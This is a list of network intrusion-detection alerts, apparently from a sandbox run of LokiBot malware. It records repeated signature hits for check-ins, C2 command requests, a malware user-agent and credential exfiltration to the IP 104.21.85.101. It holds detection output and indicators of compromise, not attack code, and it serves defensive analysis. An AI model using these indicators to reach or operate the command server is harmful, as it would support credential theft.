Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:18.824360
SID:	2024318
Source Port:	49738
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:47.000038
SID:	2021641
Source Port:	49830
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:31.110921
SID:	2024313
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:21.007407
SID:	2025381
Source Port:	49803
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:45.171221
SID:	2825766
Source Port:	49828
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:01.572690
SID:	2025381
Source Port:	49714
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:18.824360
SID:	2024313
Source Port:	49738
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:44.306693
SID:	2024318
Source Port:	49827
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:33.866649
SID:	2024318
Source Port:	49753
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:44.306693
SID:	2024313
Source Port:	49827
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:33.866649
SID:	2024313
Source Port:	49753
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:33.709940
SID:	2021641
Source Port:	49815
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:10.108178
SID:	2021641
Source Port:	49726
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:34.603701
SID:	2025381
Source Port:	49816
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:31.965000
SID:	2825766
Source Port:	49751
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:10.936240
SID:	2025381
Source Port:	49793
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:32.850963
SID:	2025381
Source Port:	49752
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:10.081251
SID:	2825766
Source Port:	49792
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:57.681674
SID:	2825766
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:33.709940
SID:	2825766
Source Port:	49815
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:12.860512
SID:	2021641
Source Port:	49795
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:31.013040
SID:	2024318
Source Port:	49814
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:10.108178
SID:	2825766
Source Port:	49726
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:34.740166
SID:	2021641
Source Port:	49754
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:31.013040
SID:	2024313
Source Port:	49814
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:47.148785
SID:	2024318
Source Port:	49766
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:47.148785
SID:	2024313
Source Port:	49766
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:19.638609
SID:	2021641
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:21.327353
SID:	2825766
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:07.399031
SID:	2025381
Source Port:	49789
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:26.436407
SID:	2024313
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:17.383670
SID:	2825766
Source Port:	49799
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:43.411668
SID:	2025381
Source Port:	49826
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:10.970619
SID:	2025381
Source Port:	49728
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:22.168783
SID:	2021641
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:26.436407
SID:	2024318
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:52.944507
SID:	2024318
Source Port:	49773
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:24.574893
SID:	2024318
Source Port:	49807
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:56.824671
SID:	2024318
Source Port:	49709
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:52.944507
SID:	2024313
Source Port:	49773
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:21.838596
SID:	2021641
Source Port:	49804
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:59.664329
SID:	2024318
Source Port:	49712
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:24.574893
SID:	2024313
Source Port:	49807
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:00.615870
SID:	2825766
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:48.003346
SID:	2021641
Source Port:	49767
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:26.338973
SID:	2021641
Source Port:	49809
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:27.314091
SID:	2024318
Source Port:	49810
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:54.048379
SID:	2021641
Source Port:	49706
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:47.148785
SID:	2825766
Source Port:	49766
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:25.471357
SID:	2825766
Source Port:	49808
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:59.664329
SID:	2024313
Source Port:	49712
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:27.314091
SID:	2024313
Source Port:	49810
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:19.144546
SID:	2025381
Source Port:	49801
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:59.993911
SID:	2024318
Source Port:	49781
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:20.475127
SID:	2024318
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:56.824671
SID:	2024313
Source Port:	49709
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:04.194340
SID:	2024313
Source Port:	49717
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:53.233272
SID:	2825766
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:27.314357
SID:	2825766
Source Port:	49746
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:29.323327
SID:	2021641
Source Port:	49812
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:04.194340
SID:	2024318
Source Port:	49717
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:02.822734
SID:	2025381
Source Port:	49784
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:49.900695
SID:	2021641
Source Port:	49770
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:46.007126
SID:	2021641
Source Port:	49829
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:17.171322
SID:	2025381
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:47.923427
SID:	2825766
Source Port:	49831
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:52.872776
SID:	2024313
Source Port:	49835
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:20.475127
SID:	2024313
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:12.795525
SID:	2025381
Source Port:	49731
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:16.532869
SID:	2024318
Source Port:	49798
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:52.872776
SID:	2024318
Source Port:	49835
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:15.342998
SID:	2021641
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:54.770134
SID:	2021641
Source Port:	49775
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:53.747051
SID:	2825766
Source Port:	49836
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:11.776104
SID:	2825766
Source Port:	49794
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:16.532869
SID:	2024313
Source Port:	49798
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:59.993911
SID:	2024313
Source Port:	49781
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:31.965000
SID:	2025381
Source Port:	49751
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:20.087463
SID:	2024313
Source Port:	49802
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:58.296639
SID:	2825766
Source Port:	49779
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:46.289681
SID:	2024318
Source Port:	49765
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:52.319655
SID:	2024312
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:46.289681
SID:	2024313
Source Port:	49765
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:00.847332
SID:	2825766
Source Port:	49782
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:41.138153
SID:	2825766
Source Port:	49761
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:48.941539
SID:	2025381
Source Port:	49769
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:34.603701
SID:	2825766
Source Port:	49816
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:15.663990
SID:	2025381
Source Port:	49797
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:52.319655
SID:	2024317
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:01.718197
SID:	2021641
Source Port:	49783
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:20.087463
SID:	2024318
Source Port:	49802
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:28.354051
SID:	2021641
Source Port:	49747
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:38.993699
SID:	2025381
Source Port:	49821
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:31.110921
SID:	2021641
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:23.686553
SID:	2025381
Source Port:	49806
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:57.446786
SID:	2024318
Source Port:	49778
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:44.712946
SID:	2025381
Source Port:	49764
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:33.709940
SID:	2024313
Source Port:	49815
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:28.412600
SID:	2825766
Source Port:	49811
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:57.446786
SID:	2024313
Source Port:	49778
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:13.622626
SID:	2024313
Source Port:	49732
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:53.803473
SID:	2825766
Source Port:	49774
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:21.007407
SID:	2825766
Source Port:	49803
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:01.572690
SID:	2021641
Source Port:	49714
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:13.622626
SID:	2024318
Source Port:	49732
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:39.944131
SID:	2024318
Source Port:	49760
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:33.709940
SID:	2024318
Source Port:	49815
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:02.427081
SID:	2025381
Source Port:	49715
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:35.556016
SID:	2021641
Source Port:	49755
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:36.373420
SID:	2025381
Source Port:	49756
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:38.132174
SID:	2021641
Source Port:	49820
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:14.514493
SID:	2825766
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:39.944131
SID:	2024313
Source Port:	49760
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:17.983497
SID:	2024313
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:07.503626
SID:	2021641
Source Port:	49719
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

